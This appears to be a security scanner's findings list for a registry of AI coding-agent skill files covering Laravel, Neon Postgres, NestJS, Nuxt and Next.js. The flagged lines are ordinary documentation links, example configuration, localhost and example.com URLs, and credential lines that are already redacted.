    - [kmp-with-cocoapods-firebase-sample (spm_import branch)](https://github.com/Kotlin/kmp-with-cocoapods-firebase-sample/tree/spm_import)
  • Network accessline 594
    4. **Inspect klib contents** using the `klib` tool ([docs](https://kotlinlang.org/docs/native-libraries.html#using-kotlin-native-compiler)):

packages/autoskills/skills-registry/laravel-specialist/SKILL.md

  • Network accessline 4
    license: MIT metadata:   author: https://github.com/Jeffallan
  • Network accessline 5
    metadata:   author: https://github.com/Jeffallan   company: https://synergetic.solutions
  • Network accessline 6
    author: https://github.com/Jeffallan
  • Network accessline 7
    company: https://synergetic.solutions
  • Network accessline 265
    Maintained by [@jeffallan](https://github.com/jeffallan), Principal Consultant at [Synergetic Solutions](https://synergetic.solutions)
  • Network accessline 267
    [Documentation](https://jeffallan.github.io/claude-skills/skills/backend/laravel-specialist/)

packages/autoskills/skills-registry/laravel-specialist/references/queues.md

  • Access to secretsline 397
    [Credential-related source omitted]

packages/autoskills/skills-registry/laravel-specialist/references/routing.md

  • Network accessline 354
    'paths' => ['api/*', 'sanctum/csrf-cookie'],     'allowed_methods' => ['*'],     'allowed_origins' => ['http://localhost:3000'],
  • Network accessline 355
    'allowed_methods' => ['*'],     'allowed_origins' => ['http://localhost:3000'],     'allowed_headers' => ['*'],
  • Network accessline 356
    'allowed_origins' => ['http://localhost:3000'],

packages/autoskills/skills-registry/laravel-specialist/references/testing.md

  • Network accessline 310
    Http::assertSent(function ($request) {         return $request->url() === 'https://api.example.com/data' &&
  • Network accessline 311
    return $request->url() === 'https://api.example.com/data' &&

packages/autoskills/skills-registry/machine-learning/assets/schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",

packages/autoskills/skills-registry/machine-learning/scripts/validate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

packages/autoskills/skills-registry/migrate-to-vinext/SKILL.md

  • Network accessline 153
    **IMPORTANT:** Do not use `getPlatformProxy()`, `getRequestContext()`, or custom worker entries with `fetch(request, env)` to access bindings. These are older patterns. `cloudflare:workers` is the recommended approach and works out of the b
  • Network accessline 157
    For deploying to Vercel, Netlify, AWS, Deno Deploy, or any other [Nitro-supported platform](https://v3.nitro.build/deploy), add the Nitro Vite plugin:

packages/autoskills/skills-registry/migrate-to-vinext/references/config-examples.md

  • Network accessline 151
    Do NOT use `getPlatformProxy()`, `getRequestContext()`, or custom worker entries with `fetch(request, env)`. These are older patterns. `cloudflare:workers` is the recommended approach.

packages/autoskills/skills-registry/neon-postgres/SKILL.md

  • Network accessline 13
    metadata:   parent: neon   source: https://github.com/neondatabase/agent-skills/tree/main/skills/neon-postgres
  • Network accessline 14
    parent: neon   source: https://github.com/neondatabase/agent-skills/tree/main/skills/neon-postgres ---
  • Network accessline 15
    source: https://github.com/neondatabase/agent-skills/tree/main/skills/neon-postgres
  • Network accessline 20
    If the `neon` skill is not installed, fetch it from https://neon.com/docs/ai/skills/neon/SKILL.md or install it with:
  • Network accessline 62
    Preserve the existing ORM and driver. For new TypeScript schema work with no established choice, Drizzle is a suggestion: https://neon.com/docs/guides/drizzle.md. Refer to the connection methods guide to pick the correct driver based on how
  • Network accessline 67
    - On Cloudflare, use `node-postgres` with Cloudflare Hyperdrive - On Neon Functions, use `node-postgres`, as the functions are long-running and reuse the pool across requests. - Use the `@neondatabase/serverless` driver for serverless and e
  • Network accessline 69
    - Use the `@neondatabase/serverless` driver for serverless and edge environments (for example, when using Netlify) — HTTP transport for one-shot queries, WebSocket for transaction support. Link: https://neon.com/docs/serverless/serverless-d
  • Network accessline 87
    Link: https://neon.com/docs/introduction/branching.md
  • Network accessline 89
    For detailed branch creation workflows (normal vs schema-only branches, reset-from-parent, CLI/MCP selection), use the `neon-postgres-branches` skill. If it isn't installed, fetch it from https://neon.com/docs/ai/skills/neon-postgres-branch
  • Network accessline 105
    This section covers Neon-specific diagnostic tools, compute cache behavior, and platform signals. When the evidence points to generic Postgres work such as rewriting a query, choosing an index, changing a schema, or interpreting plan nodes,
  • Network accessline 109
    - CLI: https://neon.com/docs/cli/inspect.md
  • Network accessline 110
    - Query performance: https://neon.com/docs/postgresql/query-performance.md
  • Network accessline 111
    - `pg_stat_statements`: https://neon.com/docs/extensions/pg_stat_statements.md
  • Network accessline 112
    - Neon Local File Cache: https://neon.com/docs/extensions/neon.md
  • Network accessline 189
    Link: https://neon.com/docs/introduction/autoscaling.md
  • Network accessline 201
    Link: https://neon.com/docs/introduction/scale-to-zero.md
  • Network accessline 213
    Link: https://neon.com/docs/introduction/branch-restore.md
  • Network accessline 225
    Link: https://neon.com/docs/introduction/read-replicas.md
  • Network accessline 237
    Link: https://neon.com/docs/connect/connection-pooling.md
  • Network accessline 243
    Link: https://neon.com/docs/introduction/ip-allow.md
  • Network accessline 254
    Link: https://neon.com/docs/guides/logical-replication-guide.md
  • Network accessline 267
    - [Get started with Lakebase Search](https://neon.com/docs/ai/lakebase-search-get-started)
  • Network accessline 268
    - [`lakebase_vector` reference](https://neon.com/docs/extensions/lakebase-vector)
  • Network accessline 269
    - [`lakebase_text` reference](https://neon.com/docs/extensions/lakebase-text)
  • Network accessline 280
    Running migrations, dumps, or replication over the pooled connection can fail, and never in a way that names pooling: `prepared statement "s0" already exists` from Prisma Migrate, a `SET search_path` that doesn't persist past its own transa

packages/autoskills/skills-registry/neon-postgres/references/full-text-search.md

  • Network accessline 109
    Source: [`lakebase_text` documentation](https://neon.com/docs/extensions/lakebase-text).

packages/autoskills/skills-registry/neon-postgres/references/hybrid-search.md

  • Network accessline 94
    [lakebase-search-guide]: https://neon.com/docs/ai/lakebase-search-get-started#combine-results-with-hybrid-search

packages/autoskills/skills-registry/neon-postgres/references/lakebase-search-drizzle.md

  • Network accessline 125
    Use the [Vercel AI SDK](https://ai-sdk.dev) (`ai`, 6+) with Neon's `@neon/ai-sdk-provider` 1.0.0+. Follow the [gateway setup](vector-search.md#prepare-embeddings), then install the packages with `npm install @neon/ai-sdk-provider ai dotenv`
  • Network accessline 255
    - [AI Gateway embeddings](https://neon.com/docs/ai-gateway/embeddings)
  • Network accessline 256
    - [Get started with Lakebase Search](https://neon.com/docs/ai/lakebase-search-get-started)
  • Network accessline 257
    - [Schema migration with Lakebase Postgres and Drizzle ORM](https://neon.com/docs/guides/drizzle-migrations)

packages/autoskills/skills-registry/neon-postgres/references/vector-search.md

  • Network accessline 27
    Neon's [AI Gateway embeddings endpoint](https://neon.com/docs/ai-gateway/embeddings) is an OpenAI-compatible way to generate vectors for Lakebase Search. This table uses 1024 dimensions as an example; set the column dimension to the output 
  • Network accessline 46
    For TypeScript apps, use Neon's `@neon/ai-sdk-provider` 1.0.0+ with the [Vercel AI SDK](https://ai-sdk.dev) (`ai`, 6+) (`npm install @neon/ai-sdk-provider ai dotenv`). The provider reads `NEON_AI_GATEWAY_TOKEN` and `NEON_AI_GATEWAY_BASE_URL
  • Network accessline 74
    For Neon documentation search, the example adapts the task instruction in Qwen3's stored `query` prompt from [config_sentence_transformers.json](https://huggingface.co/Qwen/Qwen3-Embedding-0.6B/blob/main/config_sentence_transformers.json). 
  • Access to secretsline 84
    [Credential-related source omitted]
  • Network accessline 117
    Use the same `queryPrompt` defined above, only for query inputs. Keep each batch within the endpoint's input and rate limits, and pair each vector with its source row using the response `index`. The [OpenAI JavaScript SDK v6](https://github
  • Network accessline 131
    Choose the metric recommended for the selected model, and keep its index operator class and query operator aligned. The [Qwen3 Embedding model card](https://huggingface.co/Qwen/Qwen3-Embedding-0.6B) demonstrates cosine similarity and normal
  • Network accessline 220
    Source: [`lakebase_vector` documentation](https://neon.com/docs/extensions/lakebase-vector).

packages/autoskills/skills-registry/nestjs-best-practices/SKILL.md

  • Network accessline 130
    For the complete guide with all rules expanded in a single document, see [AGENTS.md in the repository](https://github.com/Kadajett/agent-nestjs-skills/blob/main/AGENTS.md).
  • Network accessline 131
    [AGENTS.md in the repository](https://github.com/Kadajett/agent-nestjs-skills/blob/main/AGENTS.md).

packages/autoskills/skills-registry/nestjs-best-practices/rules/_template.md

  • Network accessline 28
    Reference: [Link to documentation or resource](https://example.com)

packages/autoskills/skills-registry/nestjs-best-practices/rules/api-use-dto-serialization.md

  • Network accessline 182
    Reference: [NestJS Serialization](https://docs.nestjs.com/techniques/serialization)

packages/autoskills/skills-registry/nestjs-best-practices/rules/api-use-interceptors.md

  • Network accessline 202
    Reference: [NestJS Interceptors](https://docs.nestjs.com/interceptors)

packages/autoskills/skills-registry/nestjs-best-practices/rules/api-use-pipes.md

  • Network accessline 205
    Reference: [NestJS Pipes](https://docs.nestjs.com/pipes)

packages/autoskills/skills-registry/nestjs-best-practices/rules/api-versioning.md

  • Network accessline 191
    Reference: [NestJS Versioning](https://docs.nestjs.com/techniques/versioning)

packages/autoskills/skills-registry/nestjs-best-practices/rules/arch-avoid-circular-deps.md

  • Network accessline 80
    Reference: [NestJS Circular Dependency](https://docs.nestjs.com/fundamentals/circular-dependency)

packages/autoskills/skills-registry/nestjs-best-practices/rules/arch-feature-modules.md

  • Network accessline 82
    Reference: [NestJS Modules](https://docs.nestjs.com/modules)

packages/autoskills/skills-registry/nestjs-best-practices/rules/arch-module-sharing.md

  • Network accessline 141
    Reference: [NestJS Modules](https://docs.nestjs.com/modules#shared-modules)

packages/autoskills/skills-registry/nestjs-best-practices/rules/arch-single-responsibility.md

  • Network accessline 106
    Reference: [NestJS Providers](https://docs.nestjs.com/providers)

packages/autoskills/skills-registry/nestjs-best-practices/rules/arch-use-events.md

  • Network accessline 108
    Reference: [NestJS Events](https://docs.nestjs.com/techniques/events)

packages/autoskills/skills-registry/nestjs-best-practices/rules/arch-use-repository-pattern.md

  • Network accessline 97
    Reference: [Repository Pattern](https://martinfowler.com/eaaCatalog/repository.html)

packages/autoskills/skills-registry/nestjs-best-practices/rules/db-avoid-n-plus-one.md

  • Network accessline 139
    Reference: [TypeORM Relations](https://typeorm.io/relations)

packages/autoskills/skills-registry/nestjs-best-practices/rules/db-use-migrations.md

  • Network accessline 129
    Reference: [TypeORM Migrations](https://typeorm.io/migrations)

packages/autoskills/skills-registry/nestjs-best-practices/rules/db-use-transactions.md

  • Network accessline 140
    Reference: [TypeORM Transactions](https://typeorm.io/transactions)

packages/autoskills/skills-registry/nestjs-best-practices/rules/devops-graceful-shutdown.md

  • Network accessline 222
    Reference: [NestJS Lifecycle Events](https://docs.nestjs.com/fundamentals/lifecycle-events)

packages/autoskills/skills-registry/nestjs-best-practices/rules/devops-use-config-module.md

  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Network accessline 167
    Reference: [NestJS Configuration](https://docs.nestjs.com/techniques/configuration)

packages/autoskills/skills-registry/nestjs-best-practices/rules/devops-use-logging.md

  • Network accessline 232
    Reference: [NestJS Logger](https://docs.nestjs.com/techniques/logger)

packages/autoskills/skills-registry/nestjs-best-practices/rules/di-avoid-service-locator.md

  • Network accessline 104
    Reference: [NestJS Module Reference](https://docs.nestjs.com/fundamentals/module-ref)

packages/autoskills/skills-registry/nestjs-best-practices/rules/di-interface-segregation.md

  • Network accessline 165
    Reference: [Interface Segregation Principle](https://en.wikipedia.org/wiki/Interface_segregation_principle)

packages/autoskills/skills-registry/nestjs-best-practices/rules/di-liskov-substitution.md

  • Network accessline 221
    Reference: [Liskov Substitution Principle](https://en.wikipedia.org/wiki/Liskov_substitution_principle)

packages/autoskills/skills-registry/nestjs-best-practices/rules/di-prefer-constructor-injection.md

  • Network accessline 86
    Reference: [NestJS Providers](https://docs.nestjs.com/providers)

packages/autoskills/skills-registry/nestjs-best-practices/rules/di-scope-awareness.md

  • Network accessline 94
    Reference: [NestJS Injection Scopes](https://docs.nestjs.com/fundamentals/injection-scopes)

packages/autoskills/skills-registry/nestjs-best-practices/rules/di-use-interfaces-tokens.md

  • Network accessline 101
    Reference: [NestJS Custom Providers](https://docs.nestjs.com/fundamentals/custom-providers)

packages/autoskills/skills-registry/nestjs-best-practices/rules/error-handle-async-errors.md

  • Network accessline 125
    Reference: [Node.js Unhandled Rejections](https://nodejs.org/api/process.html#event-unhandledrejection)

packages/autoskills/skills-registry/nestjs-best-practices/rules/error-throw-http-exceptions.md

  • Network accessline 114
    Reference: [NestJS Exception Filters](https://docs.nestjs.com/exception-filters)

packages/autoskills/skills-registry/nestjs-best-practices/rules/error-use-exception-filters.md

  • Network accessline 140
    Reference: [NestJS Exception Filters](https://docs.nestjs.com/exception-filters)

packages/autoskills/skills-registry/nestjs-best-practices/rules/micro-use-health-checks.md

  • Network accessline 76
    () => this.db.pingCheck('database'),       () =>         this.http.pingCheck('redis', 'http://redis:6379', { timeout: 1000 }),
  • Network accessline 77
    () =>         this.http.pingCheck('redis', 'http://redis:6379', { timeout: 1000 }),       () =>
  • Network accessline 78
    this.http.pingCheck('redis', 'http://redis:6379', { timeout: 1000 }),
  • Network accessline 93
    this.disk.checkStorage('disk', { path: '/', thresholdPercent: 0.9 }),       () =>         this.http.pingCheck('external-api', 'https://api.example.com/health'),
  • Network accessline 94
    () =>         this.http.pingCheck('external-api', 'https://api.example.com/health'),     ]);
  • Network accessline 95
    this.http.pingCheck('external-api', 'https://api.example.com/health'),
  • Network accessline 226
    Reference: [NestJS Terminus](https://docs.nestjs.com/recipes/terminus)

packages/autoskills/skills-registry/nestjs-best-practices/rules/micro-use-patterns.md

  • Network accessline 167
    Reference: [NestJS Microservices](https://docs.nestjs.com/microservices/basics)

packages/autoskills/skills-registry/nestjs-best-practices/rules/micro-use-queues.md

  • Network accessline 252
    Reference: [NestJS Queues](https://docs.nestjs.com/techniques/queues)

packages/autoskills/skills-registry/nestjs-best-practices/rules/perf-async-hooks.md

  • Network accessline 109
    Reference: [NestJS Lifecycle Events](https://docs.nestjs.com/fundamentals/lifecycle-events)

packages/autoskills/skills-registry/nestjs-best-practices/rules/perf-lazy-loading.md

  • Network accessline 121
    Reference: [NestJS Lazy Loading Modules](https://docs.nestjs.com/fundamentals/lazy-loading-modules)

packages/autoskills/skills-registry/nestjs-best-practices/rules/perf-optimize-database.md

  • Network accessline 131
    Reference: [TypeORM Query Builder](https://typeorm.io/select-query-builder)

packages/autoskills/skills-registry/nestjs-best-practices/rules/perf-use-caching.md

  • Network accessline 128
    Reference: [NestJS Caching](https://docs.nestjs.com/techniques/caching)

packages/autoskills/skills-registry/nestjs-best-practices/rules/security-auth-jwt.md

  • Network accessline 146
    Reference: [NestJS Authentication](https://docs.nestjs.com/security/authentication)

packages/autoskills/skills-registry/nestjs-best-practices/rules/security-rate-limiting.md

  • Network accessline 125
    Reference: [NestJS Throttler](https://docs.nestjs.com/security/rate-limiting)

packages/autoskills/skills-registry/nestjs-best-practices/rules/security-sanitize-output.md

  • Network accessline 139
    Reference: [OWASP XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)

packages/autoskills/skills-registry/nestjs-best-practices/rules/security-use-guards.md

  • Network accessline 135
    Reference: [NestJS Guards](https://docs.nestjs.com/guards)

packages/autoskills/skills-registry/nestjs-best-practices/rules/security-validate-all-input.md

  • Network accessline 150
    Reference: [NestJS Validation](https://docs.nestjs.com/techniques/validation)

packages/autoskills/skills-registry/nestjs-best-practices/rules/test-e2e-supertest.md

  • Network accessline 178
    Reference: [NestJS E2E Testing](https://docs.nestjs.com/fundamentals/testing#end-to-end-testing)

packages/autoskills/skills-registry/nestjs-best-practices/rules/test-mock-external-services.md

  • Network accessline 179
    Reference: [Jest Mocking](https://jestjs.io/docs/mock-functions)

packages/autoskills/skills-registry/nestjs-best-practices/rules/test-use-testing-module.md

  • Network accessline 153
    Reference: [NestJS Testing](https://docs.nestjs.com/fundamentals/testing)

packages/autoskills/skills-registry/next-cache-components-adoption/SKILL.md

  • Network accessline 14
    Enable Cache Components on an app and walk it to a passing build. This skill sequences the work; per-error recipes live in the dev overlay fix cards and the build's terminal output. The [migrating to Cache Components guide](https://nextjs.o
  • Network accessline 24
    - **Next.js 16.3 or later.** That release is where the pieces this skill relies on land: top-level `cacheComponents`, `export const instant`, the dev-overlay instant-navigation validation warnings, and the `cache-components-instant-false` c
  • Network accessline 26
    - Read the relevant [version upgrade guide](https://nextjs.org/docs/app/guides/upgrading) (e.g. [Version 16](https://nextjs.org/docs/app/guides/upgrading/version-16)) for what the codemod doesn't cover.
  • Network accessline 28
    - **No incompatible config keys.** `cacheComponents: true` errors on any file that still exports `dynamic`, `revalidate`, or `fetchCache`. Inventory these exports before running the codemod, then follow the [migration guide's per-key sectio
  • Network accessline 36
    - **Existing caches can stay.** Follow the migration guide's [`fetch` and `unstable_cache` sections](https://nextjs.org/docs/app/guides/migrating-to-cache-components#fetch-cache-options). Do not rewrite them solely to enable Cache Component
  • Network accessline 55
    `cacheComponents: true` requires every route to be prerenderable. A route that reads request-time data outside `<Suspense>` is "blocking" and fails the build. `export const instant = false` marks a route as allowed to block, which clears it
  • Network accessline 57
    When a fix introduces `"use cache"`, follow the Caching guide for [choosing a data-level or UI-level boundary and setting its lifetime](https://nextjs.org/docs/app/getting-started/caching#usage) and [revalidating after mutations](https://ne
  • Network accessline 61
    Whenever a fix introduces `<Suspense>`, follow the Streaming guide's [granular streaming pattern](https://nextjs.org/docs/app/guides/streaming#granular-streaming-with-suspense) and [guidance for preventing CLS](https://nextjs.org/docs/app/g
  • Network accessline 76
    Every blocking error has a docs page — open it. Both the dev overlay and the build terminal print a `https://nextjs.org/docs/messages/<slug>` link with each error. That page is the canonical recipe for the fix; the inline message is a summa
  • Network accessline 84
    1. **[`next-dev-loop`](https://github.com/vercel/next.js/tree/canary/skills/next-dev-loop) — strongly preferred.** Cross-checks `/_next/mcp` against the live browser via `agent-browser` and surfaces both compile and runtime issues in one pa
  • Network accessline 89
    npx skills add https://github.com/vercel/next.js/tree/canary/skills/next-dev-loop
  • Network accessline 132
    // TODO: Cache Components adoption. Refactor this route so this opt-out can be removed. // See: https://nextjs.org/docs/app/guides/migrating-to-cache-components
  • Network accessline 133
    // See: https://nextjs.org/docs/app/guides/migrating-to-cache-components
  • Network accessline 157
    Synthetic routes like `/_not-found` have no user file — when they block, fix the root layout's opt-out, not the synthetic route. Client Components (`"use client"`) get no opt-out (it's a build error to export `instant` from them), but they 
  • Network accessline 188
    - Remove the opt-out (Incremental) or target the failing route (Direct). - Reload in dev. Overlay clean? Skip to verify. Overlay still red? Fix. - Fix — fetch the docs page linked from the error (`https://nextjs.org/docs/messages/<slug>`), 
  • Network accessline 189
    - Reload in dev. Overlay clean? Skip to verify. Overlay still red? Fix. - Fix — fetch the docs page linked from the error (`https://nextjs.org/docs/messages/<slug>`), apply the recipe from there. The inline overlay text is a summary; the do
  • Network accessline 190
    - Fix — fetch the docs page linked from the error (`https://nextjs.org/docs/messages/<slug>`), apply the recipe from there. The inline overlay text is a summary; the docs page is the source of truth.
  • Network accessline 200
    - Remove the opt-out (Incremental) or target the failing route (Direct). - Rebuild with `--debug-build-paths app/<route>/**` (only that route) or `--debug-prerender` (full build, but past the first failure). Route passing? Move on. Still bl
  • Network accessline 201
    - Rebuild with `--debug-build-paths app/<route>/**` (only that route) or `--debug-prerender` (full build, but past the first failure). Route passing? Move on. Still blocking? Fix. - Fix — fetch the docs page linked from the error (`https://
  • Network accessline 202
    - Fix — fetch the docs page linked from the error (`https://nextjs.org/docs/messages/<slug>`), apply the recipe from there.
  • Network accessline 208
    - The [three blocker classes from background](#background) often get missed when fixing in place. Caching a downstream fetch (`getThing(id)`) doesn't clear an `await params` at the top of the page body — push the param promise into the `<Su
  • Network accessline 247
    - [Sweep for more instant navigations](./references/dev-only-validations.md) — an optional follow-up once adoption is done, never required. A passing build is not the last word, because dev validates every route on each page load (simulatin
  • Network accessline 248
    - [`next-partial-prefetching-adoption`](https://github.com/vercel/next.js/tree/canary/skills/next-partial-prefetching-adoption) — the follow-up skill that adopts Partial Prefetching: it enables `partialPrefetching` and audits every `<Link p
  • Network accessline 249
    - [Prevent regressions with e2e tests](https://nextjs.org/docs/app/guides/instant-navigation#prevent-regressions-with-e2e-tests) — the `@next/playwright` [`instant()`](https://nextjs.org/docs/app/api-reference/file-conventions/route-segment
  • Network accessline 250
    - [`next-cache-components-optimizer`](https://github.com/vercel/next.js/tree/canary/skills/next-cache-components-optimizer) — a separate skill that grows each route's static shell so more of the page prerenders and less streams in. Pure opt

packages/autoskills/skills-registry/next-cache-components-adoption/references/dev-only-validations.md

  • Network accessline 3
    How to surface and fix the instant-navigation insights that a clean `next build` does not show. The [Instant navigation guide](https://nextjs.org/docs/app/guides/instant-navigation) is the canonical reference for the validation model this e
  • Network accessline 15
    Reuse the [`next-dev-loop`](https://github.com/vercel/next.js/tree/canary/skills/next-dev-loop) preflight (Turbopack), then add one job. On a webpack app, drive a browser directly with `agent-browser` or Playwright instead. You lose the `/_

packages/autoskills/skills-registry/next-cache-components-adoption/references/per-page-decisions.md

  • Network accessline 13
    If the blocking code looks like it's there for a _reason you can't infer_ — a security gate at the page top (`await verifyAccess()`, an auth redirect, a feature-flag check) where moving it inside `<Suspense>` would change what the code guar
  • Network accessline 17
    If _every_ route under a layout is gated this way, a documented Block on the layout is the correct end state. Moving the gate to [Proxy](https://nextjs.org/docs/app/api-reference/file-conventions/proxy) is the architectural fix, not a Cache
  • Network accessline 19
    For the broader picture, read the [Authentication guide](https://nextjs.org/docs/app/guides/authentication) (where auth checks belong: Proxy for routing, Data Access Layer for data) and the [Data Access Layer section of Data Security](https

packages/autoskills/skills-registry/nodejs-backend-patterns/references/advanced-patterns.md

  • Access to secretsline 278
    [Credential-related source omitted]
  • Access to secretsline 299
    [Credential-related source omitted]
  • Access to secretsline 305
    [Credential-related source omitted]

packages/autoskills/skills-registry/nodejs-backend-patterns/references/details.md

  • Access to secretsline 327
    [Credential-related source omitted]

packages/autoskills/skills-registry/nodejs-express-server/references/authentication-with-jwt.md

  • Access to secretsline 12
    [Credential-related source omitted]

packages/autoskills/skills-registry/nodejs-express-server/references/environment-configuration.md

  • Access to secretsline 16
    [Credential-related source omitted]
  • Network accessline 18
    },   cors: {     origin: process.env.CORS_ORIGIN || "http://localhost:3000",
  • Network accessline 19
    cors: {     origin: process.env.CORS_ORIGIN || "http://localhost:3000",   },
  • Network accessline 20
    origin: process.env.CORS_ORIGIN || "http://localhost:3000",

packages/autoskills/skills-registry/nodejs-express-server/references/middleware-chain-implementation.md

  • Access to secretsline 21
    [Credential-related source omitted]

packages/autoskills/skills-registry/nodejs-express-server/scripts/security-checklist.sh

  • Executable scriptline 1
    #!/bin/bash

packages/autoskills/skills-registry/nuxt/SKILL.md

  • Network accessline 5
    author: Anthony Fu   version: "2026.9.25"   source: Generated from https://github.com/nuxt/nuxt, scripts located at https://github.com/antfu/skills
  • Network accessline 6
    version: "2026.9.25"   source: Generated from https://github.com/nuxt/nuxt, scripts located at https://github.com/antfu/skills ---
  • Network accessline 7
    source: Generated from https://github.com/nuxt/nuxt, scripts located at https://github.com/antfu/skills

packages/autoskills/skills-registry/nuxt/references/advanced-hooks.md

  • Network accessline 292
    <!--  Source references: - https://nuxt.com/docs/guide/going-further/hooks
  • Network accessline 293
    Source references: - https://nuxt.com/docs/guide/going-further/hooks - https://nuxt.com/docs/api/advanced/hooks
  • Network accessline 294
    - https://nuxt.com/docs/guide/going-further/hooks
  • Network accessline 295
    - https://nuxt.com/docs/api/advanced/hooks
  • Network accessline 296
    - https://nuxt.com/docs/getting-started/upgrade#migration-to-nitro-v3

packages/autoskills/skills-registry/nuxt/references/advanced-layers.md

  • Network accessline 295
    <!--  Source references: - https://nuxt.com/docs/getting-started/layers
  • Network accessline 296
    Source references: - https://nuxt.com/docs/getting-started/layers - https://nuxt.com/docs/guide/going-further/layers
  • Network accessline 297
    - https://nuxt.com/docs/getting-started/layers
  • Network accessline 298
    - https://nuxt.com/docs/guide/going-further/layers

packages/autoskills/skills-registry/nuxt/references/advanced-module-authoring.md

  • Network accessline 81
    },   defaults: {     baseURL: 'https://api.example.com',
  • Network accessline 82
    defaults: {     baseURL: 'https://api.example.com',     timeout: 5000,
  • Network accessline 83
    baseURL: 'https://api.example.com',
  • Network accessline 596
    <!-- Source references: - https://nuxt.com/docs/api/kit/modules
  • Network accessline 597
    Source references: - https://nuxt.com/docs/api/kit/modules - https://nuxt.com/docs/api/kit/components
  • Network accessline 598
    - https://nuxt.com/docs/api/kit/modules
  • Network accessline 599
    - https://nuxt.com/docs/api/kit/components
  • Network accessline 600
    - https://nuxt.com/docs/api/kit/autoimports
  • Network accessline 601
    - https://nuxt.com/docs/api/kit/plugins
  • Network accessline 602
    - https://nuxt.com/docs/api/kit/templates
  • Network accessline 603
    - https://nuxt.com/docs/api/kit/nitro
  • Network accessline 604
    - https://nuxt.com/docs/api/kit/pages
  • Network accessline 605
    - https://nuxt.com/docs/api/kit/resolving
  • Network accessline 606
    - https://nuxt.com/docs/guide/modules/recipes-basics
  • Network accessline 607
    - https://nuxt.com/docs/guide/modules/module-dependencies
  • Network accessline 608
    - https://nuxt.com/docs/guide/modules/server-compatibility

packages/autoskills/skills-registry/nuxt/references/best-practices-data-fetching.md

  • Network accessline 74
    <script setup lang="ts"> // This fetches TWICE: once on server, once on client const data = await $fetch('/api/posts')
  • Network accessline 75
    // This fetches TWICE: once on server, once on client const data = await $fetch('/api/posts') </script>
  • Network accessline 76
    const data = await $fetch('/api/posts')
  • Network accessline 206
    async (_nuxtApp, { signal }) => {     const [user, posts, stats] = await Promise.all([       $fetch('/api/user', { signal }),
  • Network accessline 207
    const [user, posts, stats] = await Promise.all([       $fetch('/api/user', { signal }),       $fetch('/api/posts', { signal }),
  • Network accessline 208
    $fetch('/api/user', { signal }),
  • Network accessline 209
    $fetch('/api/posts', { signal }),
  • Network accessline 210
    $fetch('/api/stats', { signal }),
  • Network accessline 336
    // app/composables/useAPI.ts export const useAPI = createUseFetch({   baseURL: 'https://api.nuxt.com',
  • Network accessline 337
    export const useAPI = createUseFetch({   baseURL: 'https://api.nuxt.com',   onRequest({ options }) {
  • Network accessline 338
    baseURL: 'https://api.nuxt.com',
  • Network accessline 360
    // app/plugins/api.ts export default defineNuxtPlugin(() => {   const api = $fetch.create({ baseURL: 'https://api.nuxt.com' })
  • Network accessline 361
    export default defineNuxtPlugin(() => {   const api = $fetch.create({ baseURL: 'https://api.nuxt.com' })   return { provide: { api } }
  • Network accessline 362
    const api = $fetch.create({ baseURL: 'https://api.nuxt.com' })
  • Network accessline 395
    <!--  Source references: - https://nuxt.com/docs/4.x/getting-started/data-fetching
  • Network accessline 396
    Source references: - https://nuxt.com/docs/4.x/getting-started/data-fetching - https://nuxt.com/docs/4.x/api/composables/use-fetch
  • Network accessline 397
    - https://nuxt.com/docs/4.x/getting-started/data-fetching - https://nuxt.com/docs/4.x/api/composables/use-fetch - https://nuxt.com/docs/4.x/api/composables/use-async-data
  • Network accessline 398
    - https://nuxt.com/docs/4.x/api/composables/use-fetch
  • Network accessline 399
    - https://nuxt.com/docs/4.x/api/composables/use-async-data - https://nuxt.com/docs/4.x/api/composables/use-lazy-fetch - https://nuxt.com/docs/4.x/guide/recipes/custom-usefetch
  • Network accessline 400
    - https://nuxt.com/docs/4.x/api/composables/use-lazy-fetch
  • Network accessline 401
    - https://nuxt.com/docs/4.x/guide/recipes/custom-usefetch

packages/autoskills/skills-registry/nuxt/references/best-practices-ssr.md

  • Network accessline 350
    <!--  Source references: - https://nuxt.com/docs/guide/concepts/auto-imports#vue-and-nuxt-composables
  • Network accessline 351
    Source references: - https://nuxt.com/docs/guide/concepts/auto-imports#vue-and-nuxt-composables - https://nuxt.com/docs/guide/best-practices/hydration
  • Network accessline 352
    - https://nuxt.com/docs/guide/concepts/auto-imports#vue-and-nuxt-composables
  • Network accessline 353
    - https://nuxt.com/docs/guide/best-practices/hydration
  • Network accessline 354
    - https://nuxt.com/docs/getting-started/state-management#best-practices

packages/autoskills/skills-registry/nuxt/references/core-cli.md

  • Network accessline 10
    > The CLI reference now lives in the [`nuxt/cli`](https://github.com/nuxt/cli) repo (its docs moved out of the main Nuxt repo). Commands and flags are unchanged.
  • Network accessline 47
    # Start development server (default: http://localhost:3000)
  • Network accessline 259
    <!--  Source references: - https://github.com/nuxt/cli
  • Network accessline 260
    Source references: - https://github.com/nuxt/cli - https://nuxt.com/docs/api/commands
  • Network accessline 261
    - https://github.com/nuxt/cli
  • Network accessline 262
    - https://nuxt.com/docs/api/commands

packages/autoskills/skills-registry/nuxt/references/core-config.md

  • Network accessline 103
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]
  • Network accessline 105
    NUXT_PUBLIC_API_BASE=https://api.example.com
  • Network accessline 258
    <!--  Source references: - https://nuxt.com/docs/getting-started/configuration
  • Network accessline 259
    Source references: - https://nuxt.com/docs/getting-started/configuration - https://nuxt.com/docs/getting-started/upgrade
  • Network accessline 260
    - https://nuxt.com/docs/getting-started/configuration
  • Network accessline 261
    - https://nuxt.com/docs/getting-started/upgrade
  • Network accessline 262
    - https://nuxt.com/docs/guide/going-further/runtime-config
  • Network accessline 263
    - https://nuxt.com/docs/api/nuxt-config
  • Network accessline 264
    - https://nuxt.com/docs/guide/going-further/experimental-features

packages/autoskills/skills-registry/nuxt/references/core-data-fetching.md

  • Network accessline 12
    - `$fetch` - Basic fetch utility (use for client-side events) - `useFetch` - SSR-safe wrapper around $fetch (use for component data)
  • Network accessline 13
    - `useFetch` - SSR-safe wrapper around $fetch (use for component data)
  • Network accessline 110
    const { data } = await useAsyncData('cart', async () => {   const [coupons, offers] = await Promise.all([     $fetch('/api/coupons'),
  • Network accessline 111
    const [coupons, offers] = await Promise.all([     $fetch('/api/coupons'),     $fetch('/api/offers'),
